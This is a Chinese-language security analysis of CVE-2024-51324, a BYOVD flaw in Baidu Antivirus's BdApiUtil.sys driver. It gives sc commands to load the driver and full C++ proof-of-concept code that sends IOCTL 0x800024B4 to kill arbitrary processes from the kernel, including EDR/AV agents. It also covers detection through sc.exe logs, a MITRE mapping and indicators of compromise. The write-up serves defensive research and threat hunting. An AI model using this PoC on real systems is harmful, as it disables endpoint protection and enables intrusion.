Key findings
- CVE-2024-51324 位於百度防毒的 BdApiUtil.sys(v5.2.3.116083);驅動載入後任何使用者帳號都能以特定 IOCTL 要求核心終止任意程序,屬 CWE-269 權限管控缺陷。
- 透過 IOCTL 0x800024B4 傳入目標 PID,驅動在 Ring 0 呼叫 ZwTerminateProcess 直接終止程序,可用來關閉受保護的系統程序與 EDR/AV Agent,屬典型 BYOVD。
- 因終止動作在核心層直接執行、未經 taskkill 或 TerminateProcess 等 user-mode API,以 user-mode 為主的行為監控(ETW、API Hook、Sysmon)較難留下痕跡。
- 偵測切入點:核心終止行為雖隱蔽,但驅動的服務建立與載入可透過 sc.exe 操作紀錄追蹤,是辨識 BYOVD 活動的關鍵特徵。
- 官方 CVSS 3.1 基礎分數為 3.8(Low),主因載入驅動需較高權限(PR:H);但一旦驅動載入,即成為關閉端點防護的有效原語。

前言與漏洞簡介
本文針對 CVE-2024-51324 進行實作與分析。研究起因是在 APT 追蹤過程中,於中國攻擊者的樣本中發現百度防毒的驅動程式 BdApiUtil.sys,基於好奇進一步研究後,發現該漏洞可用於終止目標設備的任意 Process。
CVE-2024-51324 與 BYOVD(Bring Your Own Vulnerable Driver) 類型的攻擊手法相關,發生於 Baidu Antivirus(百度防毒)所使用的驅動 BdApiUtil.sys。攻擊者若載入該驅動,便能透過特定 IOCTL 呼叫以核心權限終止任意程序,包括受保護的系統程序與各種 EDR/AV Agent。
| 項目 | 內容 |
|---|---|
| 影響產品 | Baidu Antivirus — BdApiUtil.sys |
| 影響版本 | v5.2.3.116083 |
| 可被濫用行為 | 在 Kernel 內終止任意進程 |
| 弱點分類 | CWE-269 — Improper Privilege Management |
| CVSS 3.1 | 3.8(Low),AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N |
此漏洞源於驅動在權限控管上的設計缺陷:BdApiUtil.sys 載入後,系統中任何使用者帳號皆能向其發送 IOCTL 請求;由於驅動在 Ring 0 執行程序終止操作,使其具備比一般使用者模式程式更高的權限,受影響範圍包含 EDR/AV Agent、關鍵系統保護程序,以及多項核心 Windows 服務。
本文僅供防禦研究、事件應變、威脅狩獵與教育用途。文中 PoC 與工具具風險,請僅在隔離、可還原且不連接生產網路之環境中測試。本文不鼓勵、協助或默許任何未經授權之行為;所提及之第三方平台與產品名稱僅作技術描述之用。
漏洞實作
BdApiUtil.sys 的利用流程為:取得系統操作能力(或利用目標系統已安裝的驅動)→ 驅動被載入 Kernel → 傳入 IOCTL + 目標 PID → 驅動在 Ring 0 直接終止該進程。為驗證可利用性,於 VMware 環境部署偵測版端點產品,並依公開的漏洞行為撰寫可終止任意 Process 的 PoC,整體分三步。
步驟 1:準備 BdApiUtil.sys 並啟動驅動服務
取得 BdApiUtil.sys 並放入目錄(例如 C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys)。

建立並啟動驅動服務(需系統權限):
sc create bd type=kernel binPath="C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys"
sc start bd

步驟 2:編譯 PoC 程式並與 BdApiUtil.sys 通訊
GitHub(LOLDrivers Issue #204)已提供精簡的 C++ 範例,本研究以其為基礎編譯。程式邏輯為:開啟驅動 \\.\BdApiUtil → 傳入目標 PID → 使用 IOCTL 0x800024B4 要求 Kernel 終止該 Process。
#include <windows.h>
#include <stdio.h>
#include <iostream>
int main() {
#define IOCTL_TERMINATE_PROCESS 0x800024B4
#define DEVICE_NAME L"\\\\.\\BdApiUtil"
unsigned int pid;
// 1. Open a handle to the driver
HANDLE hDriver = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("Error opening device: %d\n", GetLastError());
return 1;
}
printf("PID please : \n");
scanf_s("%u", &pid);
// 2. Send a code to the driver
DWORD bytesReturned = 0;
BYTE outBuffer[256];
BOOL ioctlResult = DeviceIoControl(
hDriver, IOCTL_TERMINATE_PROCESS,
&pid, sizeof(pid), NULL, 0, &bytesReturned, NULL);
if (!ioctlResult) {
printf("Killing IOCTL failed with error: %d\n", GetLastError());
} else {
printf("DeviceIoControl succeeded.\n");
}
CloseHandle(hDriver);
return 0;
}

使用 x64 Native Tools Command Prompt for VS 編譯,取得 poc.exe。

步驟 3:選擇要終止的 Process

執行 poc.exe、輸入 PID 4896,成功關閉目標 process。

漏洞實作結果,經測試,PoC 成功在無管理員權限的情況下自 Kernel 內終止目標 process。(備註:驅動漏洞的利用本身與端點產品的自我保護機制相關,故於各家防毒的結果不盡相同。)
行為分析
以系統日誌觀察漏洞行為,可發現部分特徵在日誌中留有痕跡:
服務建立可透過 sc.exe 追蹤,PoC 以 sc create 建立驅動服務,模擬實際威脅情境中常見的未授權驅動載入。透過 sc.exe 追蹤可見 C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys 被建立為 bd 服務,此模式與許多既有的 BYOVD 攻擊鏈相符,可作為調查階段的關鍵特徵。

服務啟動的驅動載入可觀察,當 bd 服務被啟動時,BdApiUtil.sys 由 sc.exe 交給核心載入。與建立服務不同,啟動服務才是驅動進入 Kernel 模式執行的關鍵步驟;驅動一旦進入核心,便能利用弱點進行任意讀寫記憶體、關閉安全機制或提權等後續操作。

poc.exe 落地可見,但後續行為未在監控層呈現,可確認 poc.exe 成功落地並啟動,但後續觸發的行為並未在 user-mode 監控層留下可觀察日誌。原因在於漏洞驅動於核心層透過 IOCTL 呼叫 ZwTerminateProcess 終止目標,直接在 Ring 0 執行、未經 taskkill 或 TerminateProcess() 等 user-mode API,因此測試過程未觀察到相關紀錄。

總結
CVE-2024-51324 透過 BYOVD 手法達成核心層級的程序終止,並能在不觸發常見 user-mode 監控機制的情況下中止目標。此類漏洞常被攻擊者用於規避防毒端點偵測,原因在於部分端點的行為監控以 user-mode 為主要來源(如 ETW、User-mode API Hook、Sysmon/EventLog);當驅動在核心模式直接操作 EPROCESS 結構或呼叫內核層級的 terminate 函式時,終止行為便較難被端點監控。
藉由 BYOVD 讓漏洞驅動在核心層執行敏感操作,是一條具隱蔽性的攻擊途徑。因此調查此類漏洞時,以 sc.exe 追蹤服務建立與驅動載入行為,是辨識可疑活動的關鍵切入點之一。
參考
- 原文(Medium,OIS):《分析 CVE-2024-51324:從漏洞原理到 PoC 實作》
- NVD — CVE-2024-51324
- LOLDrivers Issue #204(PoC 範例來源)
- MITRE ATT&CK — 技術對照依據
MITRE ATT&CK mapping
| Tactic | Technique | Procedure |
|---|---|---|
| Defense evasion | T1211 | 以 BYOVD 載入帶漏洞的合法驅動 BdApiUtil.sys,透過 IOCTL 於核心層終止防護程序,達成防禦迴避 |
| Privilege escalation | T1543.003 | 以 sc create(type=kernel)建立並啟動 bd 驅動服務,將 BdApiUtil.sys 載入核心取得 Ring 0 能力 |
| Defense evasion | T1562.001 | 利用驅動漏洞在核心終止 EDR/AV Agent 與受保護的系統程序 |
| Execution | T1106 | 驅動於 Ring 0 直接呼叫 ZwTerminateProcess,繞過 taskkill、TerminateProcess 等 user-mode API |
Indicators of compromise
| Type | Indicator | First seen | Last verified | Confidence | Status |
|---|---|---|---|---|---|
| Filename | BdApiUtil.sys百度防毒 v5.2.3.116083 的弱點驅動;合法簽章但可被 BYOVD 濫用以終止任意程序 | 2025-02 | 2025-12-19 | Moderate | — |
| String | 0x800024B4BdApiUtil 終止程序的 IOCTL code(DeviceIoControl 呼叫) | 2025-02 | 2025-12-19 | High | — |
| String | \\.\BdApiUtil弱點驅動的 device 物件路徑 | 2025-02 | 2025-12-19 | High | — |